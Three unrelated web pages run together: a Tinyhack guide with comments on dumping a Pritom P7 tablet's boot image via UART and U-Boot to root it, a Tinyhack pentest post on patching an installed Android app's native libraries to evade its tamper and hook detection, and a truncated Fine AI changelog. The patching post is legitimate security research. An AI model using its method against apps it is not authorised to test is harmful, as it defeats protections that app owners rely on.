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https://tinyhack.com/2024/01/18/using-u-boot-to-extract-boot-image-from-pritom-p7/#comment-172117 | Using U-Boot to extract Boot Image from Pritom P7 – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Using U-Boot to extract Boot Image from Pritom P7 This is a guide to extract the boot image from a cheap Android tablet based on Allwinner A133 using U-Boot (accessed via UART). The original firmware was not found on the internet. With the boot image and Magisk, you can root your Android tablet to make it more useful. Pritom P7 is a very cheap Android tablet. I bought it for 33 USD from AliExpress, but it can be found for as low as 27 USD. This is a Google GMS-certified device (it passes Play Integrity, no malware was found when I received it), and it uses 32-bit Android Go. I am only using this to test some 32-bit Android app compatibility. I bought it for 32.75 USD They may have several variants of this model with different specifications. Mine is: Alwinner A133, 1.5GB RAM (advertised as 2GB, and shown as 2GB in the Android info), 32 GB ROM, only 2.4 GHz WIFI, no GPS. Unlockable Bootloader Luckily, we are allowed to unlock the bootloader of this device using the developer menu, adb reboot bootloader then using fastboot oem unlock . Some cheap Android devices don’t allow unlocking (for example, the ones that are based on recent Unisoc SOC). I can allow bootloader unlock using the OEM Unlocking option The product ID of my tablet is P7_EEA (Android 11) with kernel version Linux localhost 5.4.180-svn33409-ab20220924-092422 #28 SMP PREEMPT Sun Aug 20 19:13:45 CST 2023 armv8l . The build number is PRITOM_P7_EEA_20230820 . I did not find any Android exploit for this device, and I also didn’t find any backdoors. From my experience, some of these cheap Android devices have hidden su backdoors. Unable to find an exploit, I gave up trying to extract boot image from user space. With some SOC, you can easily read/dump/extract the flash using PC software. I didn’t find any software for this Allwinner chip. An example of a SOC that allows flash reading is Unisoc (formerly Spreadtrum), but on the other hand, the bootloader on phones and tablets with the latest SOCs from Unisoc (that I know of) is not unlockable. UART Fortunately, this device is easy to open, and a UART pin is on the top left near the camera. UART + FEL pad on top, near the camera Here is a close-up: The right-most pin is FEL if you want to enter FEL mode. But entering FEL mode can be done easily using: adb reboot efex . To test that the pin does output something, I just connected the ground to the USB-C ground and held my hand, pressing a cable on the TX pad during startup. No soldering is needed if you can hold your hand like this U-Boot Fortunately, we can break into u-boot (not locked down); from there, it is easy to dump the bootloader. There are many ways to do it, but this is how I did it. First, print the environment using env print to see what commands are used to load the boot partition: bootdelay=0 boot_normal=sunxi_flash read 45000000 boot;bootm 45000000 Note: I suggest you change the bootdelay to make it easier to enter U-boot next time. We can see that we can read the flash partition to a certain memory location using: sunxi_flash read 45000000 boot Now, we need to write this memory area to an SD Card. I prepared a FAT-formatted SD Card. Insert it, then: sunxi_card0_probe . This will detect the card. I need to do mmcinfo otherwise, the next command won’t work: mmc part Now we can test listing the content of the card: fatls mmc 0:1 . It should be empty since we just format it. Next is to write the memory to a file: fatwrite mmc 0:1 45000000 boot.img 4000000 . Note: all numbers are in hexadecimal. 64 Megabytes is just a common size for the boot partition. We can install Magisk APK to the tablet, run it, and then choose “Install” and “Select and patch file”. Patch our boot.img , then the magisk_patched_xx.img file can be flashed using : fastboot flash boot magisk_patched_xx.img . Magisk Installed I could have dumped all the partitions using u-boot, but I felt that u-boot is slow in writing to the SD Card. After we have a root access, we can easily dump the rest of the partitions by accessing the files in /dev/block/by-name . Conclusion I hope this guide can help you root your Allwinner device, even when you don’t have the original firmware. I think this device is not worth buying unless you have a specific need for it. This tablet is OK if you want to test your app for Android Go or 32-bit Android libraries. This is also a good tablet for learning to hack Android hardware. If you are using the same device and want to have the boot partition, you can download it here: please make sure that your hardware is exactly the same as mine to prevent bricking it. https://tinyhack.com/files/pritom-P7_EEA-boot.img Author admin Posted on January 18, 2024 January 19, 2024 Categories android , hacks , hardware , mobile , phone Tags 28 26 thoughts on “Using U-Boot to extract Boot Image from Pritom P7” Ivan says: February 9, 2024 at 8:58 pm ivan@M16 ~ % fastboot devices 3c000c4543c48701e19 fastboot ivan@M16 ~ % fastboot oem unlock FAILED (remote: ‘Oem unlock ability is 0. Permission denied for this command!’) fastboot: error: Command failed Please help to unlock Reply Ivan says: February 9, 2024 at 9:15 pm Developer options – ON, OEM Unlocking – ON Reply Ivan says: February 9, 2024 at 9:27 pm (bootloader) treble-enabled:true (bootloader) first-api-level:30 (bootloader) dynamic-partition:true (bootloader) system-fingerprint:PRITOM/P7_A1/P7_A1:11/RP1A.201005.006/20220915-103124:user/release-keys (bootloader) snapshot-update-status:none (bootloader) super-partition-name:super (bootloader) hw-revision:0 (bootloader) off-mode-charge:0 (bootloader) battery-voltage:0 (bootloader) is-userspace:yes (bootloader) partition-type:bootloader_b:raw (bootloader) partition-type:dtbo_a:raw (bootloader) partition-type:vbmeta_vendor_b:raw (bootloader) partition-type:vendor_boot_b:raw (bootloader) partition-type:bootloader_a:raw (bootloader) partition-type:vbmeta_system_b:raw (bootloader) partition-type:userdata:raw (bootloader) partition-type:env_b:raw (bootloader) partition-type:boot_b:raw (bootloader) partition-type:misc:raw (bootloader) partition-type:dtbo_b:raw (bootloader) partition-type:env_a:raw (bootloader) partition-type:vendor_boot_a:raw (bootloader) partition-type:vbmeta_b:raw (bootloader) partition-type:vbmeta_a:raw (bootloader) partition-type:vbmeta_system_a:raw (bootloader) partition-type:media_data:raw (bootloader) partition-type:vbmeta_vendor_a:raw (bootloader) partition-type:boot_a:raw (bootloader) partition-type:metadata:raw (bootloader) partition-type:super:raw (bootloader) partition-type:system_a:raw (bootloader) partition-type:system_b:raw (bootloader) partition-type:vendor_a:raw (bootloader) partition-type:vendor_b:raw (bootloader) partition-type:product_a:raw (bootloader) partition-type:product_b:raw (bootloader) secure:yes (bootloader) battery-soc-ok:yes (bootloader) serialno:3c000c4543c48701e19 (bootloader) slot-count:2 (bootloader) cpu-abi:armeabi-v7a (bootloader) variant:NA (bootloader) has-slot:bootloader:yes (bootloader) has-slot:dtbo:yes (bootloader) has-slot:vbmeta_vendor:yes (bootloader) has-slot:vendor_boot:yes (bootloader) has-slot:vbmeta_system:yes (bootloader) has-slot:userdata:no (bootloader) has-slot:env:yes (bootloader) has-slot:boot:yes (bootloader) has-slot:misc:no (bootloader) has-slot:vbmeta:yes (bootloader) has-slot:media_data:no (bootloader) has-slot:metadata:no (bootloader) has-slot:super:no (bootloader) has-slot:system:yes (bootloader) has-slot:vendor:yes (bootloader) has-slot:product:yes (bootloader) product:P7_A1 (bootloader) is-logical:bootloader_b:no (bootloader) is-logical:dtbo_a:no (bootloader) is-logical:vbmeta_vendor_b:no (bootloader) is-logical:vendor_boot_b:no (bootloader) is-logical:bootloader_a:no (bootloader) is-logical:vbmeta_system_b:no (bootloader) is-logical:userdata:no (bootloader) is-logical:env_b:no (bootloader) is-logical:boot_b:no (bootloader) is-logical:misc:no (bootloader) is-logical:dtbo_b:no (bootloader) is-logical:env_a:no (bootloader) is-logical:vendor_boot_a:no (bootloader) is-logical:vbmeta_b:no (bootloader) is-logical:vbmeta_a:no (bootloader) is-logical:vbmeta_system_a:no (bootloader) is-logical:media_data:no (bootloader) is-logical:vbmeta_vendor_a:no (bootloader) is-logical:boot_a:no (bootloader) is-logical:metadata:no (bootloader) is-logical:super:no (bootloader) is-logical:system_a:yes (bootloader) is-logical:system_b:yes (bootloader) is-logical:vendor_a:yes (bootloader) is-logical:vendor_b:yes (bootloader) is-logical:product_a:yes (bootloader) is-logical:product_b:yes (bootloader) vendor-fingerprint:PRITOM/P7_A1/P7_A1:11/RP1A.201005.006/20220915-103124:user/release-keys (bootloader) version-vndk:30 (bootloader) unlocked:no (bootloader) current-slot:a (bootloader) version-os:11 (bootloader) version-baseband: (bootloader) max-download-size:0x10000000 (bootloader) partition-size:bootloader_b:0x2000000 (bootloader) partition-size:dtbo_a:0x200000 (bootloader) partition-size:vbmeta_vendor_b:0x10000 (bootloader) partition-size:vendor_boot_b:0x2000000 (bootloader) partition-size:bootloader_a:0x2000000 (bootloader) partition-size:vbmeta_system_b:0x10000 (bootloader) partition-size:userdata:0x67C77BE00 (bootloader) partition-size:env_b:0x40000 (bootloader) partition-size:boot_b:0x4000000 (bootloader) partition-size:misc:0x1000000 (bootloader) partition-size:dtbo_b:0x200000 (bootloader) partition-size:env_a:0x40000 (bootloader) partition-size:vendor_boot_a:0x2000000 (bootloader) partition-size:vbmeta_b:0x20000 (bootloader) partition-size:vbmeta_a:0x20000 (bootloader) partition-size:vbmeta_system_a:0x10000 (bootloader) partition-size:media_data:0x1000000 (bootloader) partition-size:vbmeta_vendor_a:0x10000 (bootloader) partition-size:boot_a:0x4000000 (bootloader) partition-size:metadata:0x1000000 (bootloader) partition-size:super:0xC0000000 (bootloader) partition-size:system_a:0x305EA000 (bootloader) partition-size:system_b:0x0 (bootloader) partition-size:vendor_a:0x4F91000 (bootloader) partition-size:vendor_b:0x0 (bootloader) partition-size:product_a:0x4822D000 (bootloader) partition-size:product_b:0x0 (bootloader) security-patch-level:2022-10-05 (bootloader) version-bootloader:unknown (bootloader) version:0.4 Reply Ivan says: February 10, 2024 at 12:52 pm Also I can’t flash your boot image ivan@M16 ~ % fastboot flash boot /Volumes/Temp/pritom-P7_EEA-boot.img Sending ‘boot_a’ (65536 KB) FAILED (remote: ‘Download is not allowed on locked devices’) fastboot: error: Command failed Reply admin says: April 8, 2024 at 1:15 pm I think you are using a different device (not the same one as mine). So I am not sure what to do for your device. Reply Jimmy says: April 5, 2024 at 12:40 pm I just bought one of these tablets, and they can be okay for a grandparent or a child (or for playing around with root or for 3D printer screen etc.). Your detailed description of the process has helped me a lot. I would like to say thank you to everyone who wants to play around with this tablet (I ordered mine for 33 euros, and it has the same specs as yours). Reply jardel says: April 22, 2024 at 1:35 pm Oem Unlocking is on but when I try fastboot oem unlock: oem unlock ability is 0. Permission denied for this command Reply Jardel says: April 23, 2024 at 4:31 pm Using the exact same model with the same build. Oem unlocking option activated. Can you help me? C:\Users\Jardel>adb reboot fastboot C:\Users\Jardel>fastboot oem unlock FAILED (remote: ‘Oem unlock ability is 0. Permission denied for this command!’) fastboot: error: Command failed Reply admin says: May 20, 2024 at 1:39 am I guess in your particular model, the bootloader is forever locked? or may be try different fastboot binary, may be a newer or older version of it. Reply Tobias says: May 13, 2024 at 10:33 pm I was able to root my Pritom P7 EEA using this method. Thanks a bunch for extracting the boot image 😀 Reply XH64bit says: June 22, 2024 at 3:38 am Hi, I’m trying to do the same boot.img extraction process on another similar tablet powered by the same SoC. The problem is that I’m new to Uart and all of that stuff and I don’t understand where to run the commands for the dumping process. Here’s what I already done: unlocked my bootloader and checked for su binary but no luck there. Opened up the tablet and located the TX and RX pins on the mobo, soldered wires there and connected them to my Uart adapter (CP2102 if that matters) including the ground taken from the USB-C port and then it was the part where I have no idea what to do next, turning the tablet on lights up one of the LEDs on my adapter and then it starts blinking during startup. I tried using putty on my windows pc to connect to the adapter but when I start a session I see nothing, even when pressing the reset button or doing anything else its just a blank terminal. If you can give me some advice on what to do next or provide some links where it explains a similar process more datelined it would be great. Thank you in advice! Reply admin says: June 22, 2024 at 7:35 am Make sure you connect RX to TX and TX to RX and make sure you choose the correct baud rate. Reply XH64bit says: June 22, 2024 at 4:03 pm Thanks a lot for your response, I swapped around the wires and tried different baud rates (11500 seems to be working fine) and now I see logs as I hit the reset button and during the boot process. Now I tried “adb reboot efex” and it kinda worked (the tablet rebooted and now I have a black screen and in my console I see some U-boot welcome messages and that stuff so I guess that its working fine) but I still can’t type anything to the console window on my pc, I’m guessing I might need a different app or something to be able to run commands. Would really appreciate it if you can share the app you used to run the commands. Reply XH64bit says: June 22, 2024 at 6:03 pm So a small update on that, I was able to type commands after just pressing one button on my keyboard during the tablet’s boot process, I ran all of the commands and got my boot image but magisk is unable to patch it for some reason, maybe the size is not the same as on ur device but in U-boot when I type “env print” I get the same normal boot string as yours “boot_normal=sunxi_flash read 45000000 boot;bootm 45000000” and in fastbootd when I type “getvar all” I get “(bootloader) partition-size:boot_a:0x4000000” and “(bootloader) partition-size:boot_b:0x4000000” so I guess the command “fatwrite mmc 0:1 45000000 boot.img 4000000” should be the same for me? As I said I get an error when truing to patch the image saved to the SD card and it says that “Unable to patch ramdisk” but another thing is that it says “Magisk patched boot image detected” while the image is definitely wasn’t patched with magisk before. Maybe its because my SD card is in Fat32 and not just Fat but idk doesn’t seem like it complains about that during the dump process in U-boot. Reply admin says: June 23, 2024 at 1:58 am Did you do “sunxi_flash read 45000000 boot” before writing to MMC? This will read the boot loader to memory before you write it to disk. XH64bit says: June 24, 2024 at 12:15 am So I think the issue was in my SD card, I tried a different one and it finally worked. btw I spend like 4 hours yesterday trying to understand what was wrong and went as far as comparing ur image with mine in hex editor and only then I saw that it was weird (I mean hex is always a weird for me but it just looked really corrupted). I want to thank you for all the afford u put into troubleshooting it for me, I learned a lot of new stuff and I think that’s gonna be really useful in my adventures of yanking random crappy tablets for fun admin says: June 24, 2024 at 12:55 am I am glad it works for you. This is how I started: by just trying to follow some random stuff made by someone else on the internet. positivo60fps says: July 3, 2024 at 10:29 am Now with root installed, how do I backup the recovery? in dev/block/by-name there is no recovery folder Reply admin says: July 3, 2024 at 12:02 pm it doesn’t have a recovery partition, it just uses boot_a and boot_b Reply minims says: October 2, 2024 at 3:42 pm Hello, is there a way to upgrade the P7 to a more revent version of Android. It’s currently Android Go 11. Reply Art says: March 11, 2025 at 9:53 pm Hello, need super vendor_boot boot vbmeta vbmeta_system vbmeta_vendor and odm. Can you help me? Reply TheLabronic says: May 14, 2025 at 1:17 pm Hi to everyone, i’m going crazy. I have the same tablet, but I’m stuck trying to break into U-Boot. I connected the tablet’s TX, RX, and GND pins to my USB UART adapter (with RX and TX crossed). Using a terminal, I can see the boot log when I run adb reboot efex. The problem is, when I press Enter (or any other key) to stop the boot process, it doesn’t respond. I’ve tried different baud rates (115200, 57600, 38400, 19200), but nothing changes. I also tried swapping the RX and TX connections between the tablet and the USB UART, but still no luck. I’m using a FT232 USB UART, and I have the latest drivers installed. I’ve tested multiple terminal programs (Putty, Minicom, HyperTerminal), and even tried a different computer or os (Linux & Win)—nothing works. I’m out of ideas. Any help would be greatly appreciated. Reply lpt2007 says: June 27, 2025 at 10:02 pm Hi, I have device PRITOM P7, Product P7_A05,CPU Allwinner A523, arm64-v8a,Build number: TAB_7Pro_14_US_20241237. And I try to get boot.img from device with no luck. Can I use your boot.img for my device? If not. Do you know where can I get img? thx in advance Reply admin says: June 27, 2025 at 11:53 pm You definitely can’t, your device uses 64 bit OS, mine is 32 bit. Reply lpt2007 says: June 28, 2025 at 8:32 am Hi, Thanks for quick replay:) Do you know good place where users share their dump-ed boot images for chinese tablets and phones? Reply admin says: June 28, 2025 at 9:41 am I am sorry, I don’t know the answer to this. When I searched for mine, I couldn’t find any, that was why I opened it and dumped it myself. Reply Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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https://tinyhack.com/2024/11/18/patching-so-files-of-an-installed-android-app/ | Patching .so files of an installed Android App – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Patching .so files of an installed Android App If we installed an Android APK and we have a root access, we can modify the .so (native) filesof that app without altering the signature. This is true even if extractNativeLibs is set to false in AndroidManifest.xml . We can also patch the AOT compiled file (ODEX/VDEX) without changing the package signature, but that’s another story, I am just going to focus on the native code. native libraries are stored uncompressed and page aligned As a note: this is not a vulnerability, it requires root access. This method was discussed in the Mystique exploit presentation (2022). I just want to show that this is useful for pentest purpose, with an extra tip of how to write binary patch in C. Background I was doing a pentest on an Android app with a complex RASP. There are many challenges: If I unpack the APK file and repack it, it can detect the signature change If I use Frida, it can detect Frida in memory, even when I change the name using fridare It can detect Zygisk, so all injection methods that use Zygisk are detected It can detect hooks on any function, not just PLT. It seems that it is done by scanning the prologue of functions to see if it jumps to a location outside the binary; the app developer needs to call this check manually (this is quite an expensive operation), which is usually done before it performs some critical scenario. The RASP uses a native library, which is obfuscated Given enough time, I am sure it is possible to trace and patch everything, but we are time-limited, and I was only asked to check a specific functionality. When looking at that particular functionality, I can see that it is implemented natively in a non-obfuscated library. In this specific case, If I can patch the native code without altering the signature, I don’t need to deal with all the anti-frida, anti-hook, etc. Android Native Libs Installation Before Android 6.0, all native libraries were extracted during installation. So, when an app is installed, the original APK file and the extracted libraries are stored on device, which takes quite a lot of extra space for the user. Since Android 6, there has been a setting in AndroidManifest.xml called extractNativeLibs . If this is set to true, then the behavior is the same as the previous version. If this is set to false , the libraries are not extracted, but the libraries must be stored uncompressed and aligned to the page boundary inside the APK (using zipalign ). With this setting set to false , the APK will be larger, but when installed, it will not take extra space for the extracted libraries. Because the libraries are not compressed and are in a page-aligned position, Android can just mmap the libraries to memory. In Android Gradle Plugin since 3.6.0 extractNativeLibs defaults to false (February 2020), this is the setting if we are dealing with recent apps. We can see where the APK files of an Android application are installed using: adb shell pm path com.example.package . If we have a split APK, then the native libraries are stored in a separate APK, otherwise everything will be in one APK (base.apk). The APK signature is checked during installation, but it is only checked again during boot. This makes sense: binary APKs can be really big (hundreds of megabytes), and reverifying this on every app startup will take time. Unlike iOS, which signs every executable binary (it also encrypts the binary if it is installed from the app store), Android doesn’t have something like that. If extractNativeLibs is set to true , we can just overwrite the extracted .so files with our new files, and we are done. If extractNativeLibs is set to false , we can still put the library in directory which would have been used if extractNativeLibs is set to true. For example, if the APK path is: /data/app/~~xa3ANgaSg-DH4SuFIlqKLg==/com.tinyhack.testnative-FFtQq51Ol3Dmg2qvpJAYRg==/base.apk Assuming we are using 64 bit Android, if we put our patched library in (we remove base.apk and replace it with lib/arm64 : /data/app/~~xa3ANgaSg-DH4SuFIlqKLg==/com.tinyhack.testnative-FFtQq51Ol3Dmg2qvpJAYRg==/lib/arm64 Then, this library will be loaded instead of the library with the same name inside the APK. To prove this, I made a small app. This is the output when it was installed the first time. Pristine install The JNI Code is very simple: #include <jni.h> #include <string> #include <dlfcn.h> extern "C" JNIEXPORT jstring JNICALL Java_com_tinyhack_nativelib_NativeLib_stringFromJNI( JNIEnv* env, jobject /* this */) { std::string hello = "Hello from C++"; return env->NewStringUTF(hello.c_str()); } extern "C" JNIEXPORT jstring JNICALL Java_com_tinyhack_nativelib_NativeLib_libLocation( JNIEnv* env, jobject /* this */) { //use dladdr to find the current library location Dl_info info; if (dladdr((void *)Java_com_tinyhack_nativelib_NativeLib_libLocation, &info)) { return env->NewStringUTF(info.dli_fname); } std::string hello = "Can't find library location"; return env->NewStringUTF(hello.c_str()); } To add the library: adb push libnativelib.so /data/local/tmp Then we copy it to the real destination (found using pm path ): adb shell su -c cp /data/local/tmp/libnativelib.so /data/app/~~h8ArfmhA33K6xLYS0-KLSQ==/com.tinyhack.testnative-FKHrlxPDhIqH_YyxoglHzw==/lib/arm64 And this is the output after I put in the patched native lib. Two things are different: I changed the message from “C++” to “CXX”, and the path is now different (it doesn’t list base.apk in the path). After I put in the patched libnativelib.so This change will survive accross reboots, since it doesn’t touch the APK. For anyone reading this in the future, this is valid as of Android 13 Device used for testing Patching files inside the APK Another thing that we can do is to patch a library directly inside the APK. We can then overwrite the installed APK and the app will run fine, but after a reboot, the app will be uninstalled since the signature is invalid. Overwriting the library must be done at the same offset. So we can’t just re-zip the files (the offsets will change), use a hex editor, or write a code that will patch the APK at a certain offset. Editing APK using HxD Firt we push the APK to a writeable directory: adb push .\a.apk /data/local/tmp/ Then copy it to the target as shown by pm path com.example.packagename adb shell su -c cp /data/local/tmp/a.apk /data/app/~~xa3ANgaSg-DH4SuFIlqKLg==/com.tinyhack.testnative-FFtQq51Ol3Dmg2qvpJAYRg==/base.apk And we can see the output: the path is still inside the base.apk, but the text has changed Path is inside base.apk We can also patch any files that are not compressed (the compression method inside the APK is “Stored”), for example: editing resource name or value. In theory the compressed file can also be edited, but if the compressed file size differs, then we need to adjust the headers. I have not found an easy way to manipulate the APK for compressed files. Writing the patch in C Now after we know that we *can* alter the code, and it will just run fine, its time to write the patch. Most tutorials I saw use assembly language for patching, but we can code a binary patch using C. In my case, I want to replace a complicated function with static data that I read from a file. What I do is: I create a C file, annotate the functions and strings with section annotation. //open int __attribute__((naked)) __attribute__((noinline)) __attribute__((section(".my_open_section"))) my_open(const char *filename, int flags) { } //read int __attribute__((naked)) __attribute__((noinline)) __attribute__((section(".my_read_section"))) my_read(int fd, void *buf, int count) { } The naked attribute is used to make a zero sized function, and the noinline will make sure that this function is not inlined , we want it to be called. Then write the replacement function void __attribute__((section(".my_section"))) mycode(char *param1, int param2) { //code here } We need to know the address of all the functions that we need to call, and use a linker script to specify the exact addresses of the functions. We can get this using Ghidra or other disassember/decompiler. In this example: I want to patch a function located at 0x241278, and I found that open is located at 0xA37670 and read is at 0xA37680 . The following is the linker script ( linker_script.ld ): SECTIONS { .my_section 0x241278 : { *(.my_section) *(.my_section_string) } .my_open_section 0xA37670 : { *(.my_open_section) } .my_read_section 0xA37680 : { *(.my_read_section) } If you do this often, you can automate creating the function stubs by parsing the standard C include files and the output of Ghidra. For strings: we want it to be in text area, but if space is not enough, we can put it in a new section. If we want it in the text area, we can annotate the string like this (note that the string is read only since it is in the text area): void __attribute__((section(".my_section"))) mycode(char *param1, int param2) { static const char filename[] __attribute__((section(".my_section_string"))) = "/data/data/com.example.com/files/camera.bin"; int fd = my_open(filename, 0); if (fd >0) { my_read(fd, param1, param2); } } void main() {} //dummy main, so the compiler won't complain Then we can compile with this: clang -O1 -T linker_script.ld -o output.elf code.c Then we can extract the code that we are going to patch to dump.bin : objcopy --dump-section .my_section=dump.bin output.elf Some limitations: Code size is limited, but we can load another library if necessary using dlopen , or we can add new section using LIEF . It is not easy to use functions that are not imported (we can use syscalls directly, parse the ELF directly in memory, or use hardcoded offsets) If we want to use global variables, we need to find a memory area in data segment that are unused. Conclusion Could the RASP do better to detect this? yes, but it may require more resources: It can detect if every loaded library is from .apk (assuming extractNativeLibs is always false ) It can hash all the libraries and check it at runtime In my case, this could have been more difficult if my target binary is obfuscated and the function names are not clearly visible. Of course, any checks by RASP are possible to be bypassed since they can’t work on the OS level. If possbile, use Google Play Integrity API in your app (or other attestation framework provided by the phone vendor). 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https://www.fine.dev/changelog#pricing | Changelog - Fine AI Home Docs Changelog Pricing Sign in Get started -> Menu Home Docs Changelog Pricing Changelog New updates and improvements to Fine. Feb 26, 2025 #21: Publish with your domain; upload photos to prompts and Claude 3.7 Sonnet One-Click Deployment in Fine All users can now click “deploy” to take your Fine-generated project live to the web on a free subdomain. Paid users can deploy to your own domain inside Fine - there’s no longer the need to connect to Netlify/Vercel. Image-based prompts We’ve released image based prompting, so you can add screenshots and inspiration to your prompts for the agents to look at. Screenshot components, content and buttons in the Live Preview to tell the Agent what to change Upload design inspiration such as colours, fonts and images Screenshot UI errors for quick fixes Claude 3.7 Sonnet Support Anthropic released Claude 3.7 Sonnet, the first hybrid LLM + reasoning model. We’ve upgraded Fine to use the new model by default. As before, free users get 7 messages per day. The new model self-reflects before answering, so although response times may be a tad longer, they should be much more reliable. The new model brings significant improvements in handling complex codebases and planning changes, especially with complex agent workflows. Feb 14, 2025 #20: Branch Selector, Better New App Builds, Improved AI Error Handling Branch Selector When working on an existing codebase (connected via GitHub), you can now select the branch Fine begins working on. The branch selector appears after selecting a project. This is useful in three ways: It enables you to pick up work from your IDE and continue expanding on it with Fine. If you usually build and push to another branch - such as “dev” instead of main - you can easily do so with Fine. When working on larger tasks with the Agent, such as new features, that require lots of back and forth, you can start new conversations, using the branch created in the previous conversation as your starting point. This allows you to keep working on the code already written, without overloading the context window. Improved App Builds & Speed, More Speed We’ve improved the way Fine processes your requests and designs new apps. Now, when you start a new project, Fine will turn your prompt into a plan with Design, Layout, Features and Styling considerations, before it starts building. We’ve also made significant improvements to the speed of new app-builds. It’s now 6.5X faster on average to get from prompt to prototype. Improved AI Error Handling We’ve improved the way the Agent handles errors in a number of areas: The agent can now identify and offer to fix Runtime and Build errors, as well as Terminal errors. The Error Overlay is now displayed in the Live Preview, allowing users who prefer the visual experience to easily ask the agent to fix errors as they arise. Feb 2, 2025 Introducing o3-mini: The New Default LLM for Fine We’re excited to announce a major update for Fine: starting today, o3-mini is now the default Large Language Model (LLM) for all tasks across the platform. This means that when you interact with Fine, you’ll automatically benefit from the power and versatility of o3-mini – and the best part is, it’s available for all free Fine users! Meanwhile, gpt-4o has transitioned to a paid option. What’s New? o3-mini: Optimized for STEM Reasoning OpenAI’s o3-mini is the latest addition to their reasoning model series. Built to excel in tasks that demand advanced reasoning, particularly in science, technology, engineering, and mathematics (STEM) domains, o3-mini is designed to deliver enhanced performance with: Improved Accuracy: Outperforms its predecessors in producing accurate and clear answers. Faster Response Times: Offers lower latency for tasks like coding and troubleshooting. Enhanced STEM Capabilities: Matches the performance of prior models in math, coding, and science tasks, making it ideal for technically demanding projects. Improved Context Window o3-mini boasts a 200,000 token context window and 100,000 token maximum output. What does that mean in practical terms? 1 token ≈ 4 characters in code 1 token ≈ 0.5 words in code (since variable names, punctuation, and syntax are tokenized separately) 1 line of code ≈ 5–20 tokens, depending on complexity Therefore (this is all approximate) 200,000 tokens × 4 characters/token = 800,000 characters 200,000 tokens × 0.5 words/token = 100,000 words 200,000 tokens ÷ 10 tokens per line (avg.) = 20,000 lines of code Whilst this is incredible news - even on our free plan, you'll be able to work with very large codebases - the context window also your prompt, the system prompt and previous messages in a given conversation. Therefore, we recommend breaking tasks down to ensure the AI maintains accuracy. If you've had a few succesful steps and want to continue iterating, consider committing and starting a new conversation. Developer-Friendly Features o3-mini is not just powerful—it’s smartly designed for developers. Key improvements include: Function Calling and Structured Outputs: Supports advanced function calling, allowing for seamless integration into coding workflows. Reasoning Modes: Choose between three reasoning effort options (low, medium, and high) to tailor performance to your specific use case. Consistent Code Assistance: Developers have reported that o3-mini provides working code reliably, even when handling complex tasks. Jan 18, 2025 #18: Run and Fix Faster Fix Errors with One Click We’ve launched Fix it with Fine inside the Console. If something in the code causes the app to crash, the Agent will identify the error in the logs and offer to fix it. Click “Fix it with Fine” and the Agent dives in - you no longer need to copy the error logs into the chat manually. Auto Run + Fix it with Fine = An easier last mile for you Developers still need to be involved in the last-mile of implementing code written by AI - but we’re making it smoother and faster, with the AI Agent doing more for you. Jan 9, 2025 #17: Image prompts, actions pane & mobile improvements Devs can now upload photos to Fine as part of prompts. Conversations with the agent now include Line Changes Summary. Look out for the familiar green + and red -, indicating how many lines have been added or deleted, next to each step in the Agents’ implementation plans. This can help keep track, making sure the exact changes the Dev wanted were made and only those changes. We’ve added an actions pane to give Devs quick access to useful tools. Look out for the lightning bolt icon at the top of the AI workspace. We’ve fixed an issue with scrolling in conversations on mobile. Jan 4, 2025 #16: New Projects, Templates and Stream Experience Fine now includes pre-built templates the AI can call on for starting new projects from scratch. These templates are designed for those hoping to start with Fine on brand new software, without an existing codebase, and for those who are beginning a totally new part of their project - such as building a frontend to go with your existing backend. We’ve updated the initial implementation flow for new tasks without a selected project to automatically begin a new project, call on the relevant template and immediately implement your requests. You can now add scripts to New Projects created in Fine, in order to Run them. Fixed a bug in context fetching for new projects, ensuring the AI doesn’t try to fetch context from existing projects. The stream experience has been updated to show you where the Agent is up to in editing the files. When pasting multiple variables in the Environment Variables area of Project Settings, Fine identifies and splits them, propagating them in rows. You’re now able to upload a .env file to your projects in Fine. Dec 29, 2024 #15: Project Instructions By popular request, we’ve added the ability to define your own set of custom instructions or rules for the AI Agent. Head to Projects > Project Settings > Instructions. You can use Project Instructions to set coding style preferences and conventions, include external documentation and style guides. Instructions will be used by the Agent for every task on the Project, from all users in the workspace. You can apply different instructions to different projects and if you have shared instructions that you would like to apply to multiple projects, make sure to copy them into each one. Dec 25, 2024 #14: AI Sandboxing & Live previews: The Fastest Way to Iterate with AI Launched AI Sandboxing Pro subscribers can now Run the code generated by Fine, enabling you to test and preview the code, all within the browser. No more “it works on my machine”, no more AI code that looks like it works, but doesn’t. Try it out - when Fine completes a coding task, hit “Run” in the top right corner of the page to test your code. For each project, you'll need to add configuration settings the first time you use the AI Sandbox. Fine will run the code in the cloud dev environment dedicated to the conversation - yes, if you have multiple conversations with Fine working at the same time, they can each run in their own virtual machine. You can continue the conversation with the AI to make further revisions to the code, based on what you’ve seen in the preview. Describe the issue or change in the conversation box and click enter. Currently, the logs you see in the console are not included in Fine’s context - that is to say, the AI won’t know what has or hasn’t worked unless you tell it. However, you can copy and paste the logs into the conversation to guide the AI further. (We soon will be releasing another update, in which it will happen automatically in case of an error). Launched Live Previews When Fine finishes running the code in the Sandbox, you can see what it looks like - both for frontend and backend code. At the top of the AI Workspace, next to the "Console" Tab, click "Preview". You can also click the Open in New Tab icon to see the Live Preview as a full window. Copy and paste the preview URL to get feedback from colleagues or test with tools like Postman. Access Live Previews from Linear, Slack and GitHub Issues If you’re using Fine in Linear, Slack or GitHub Issues, clicking “Track Progress” in Fine’s reply will take you to the web interface, where you can use the AI Sandboxing and Live Preview features. Why this is important for developers Imagine a world in which AI not only takes your specs and writes the code, but can run and test the code, compare it to the specs and fix itself. Where AI not only writes code that looks right and makes sense to the LLM’s logic, but verifies that it actually works - and meets the exact requirements you defined. AI Sandboxing is not just another Cloud Dev Environment - it's the next step in achieving this. With the help of your feedback on the current version of Live Previews, we’ll soon be setting our sights on releasing a complete self-assessing, self-improving AI coding agent - the first ever. Dec 18, 2024 #13: Infrastructure Upgrades & Groundwork for New Releases To support new features coming up in the roadmap, we’ve been working on significant infrastructure upgrades and optimizing them to make your AI coding experience faster and more reliable. Sped up devcontainer (DC) startup time to 10 seconds Introduced prebuilds - ready-to-use devcontainers with your repository and tools - to enable faster AI Sandboxing Rewrote DC-server to contribute to speed and stability Deprecate DC (socket) proxy Improved error handling / alerting for DC service, in cases where devcontainer provisioning fails Over the last few weeks, many of our Pro users have accessed the alpha version of our AI Sandboxing and Live Previews features, helping us with feedback and identifying room for improvement. With these new speed and stability improvements, the full version of AI Sandboxing and Live Previews is set to be released soon to all 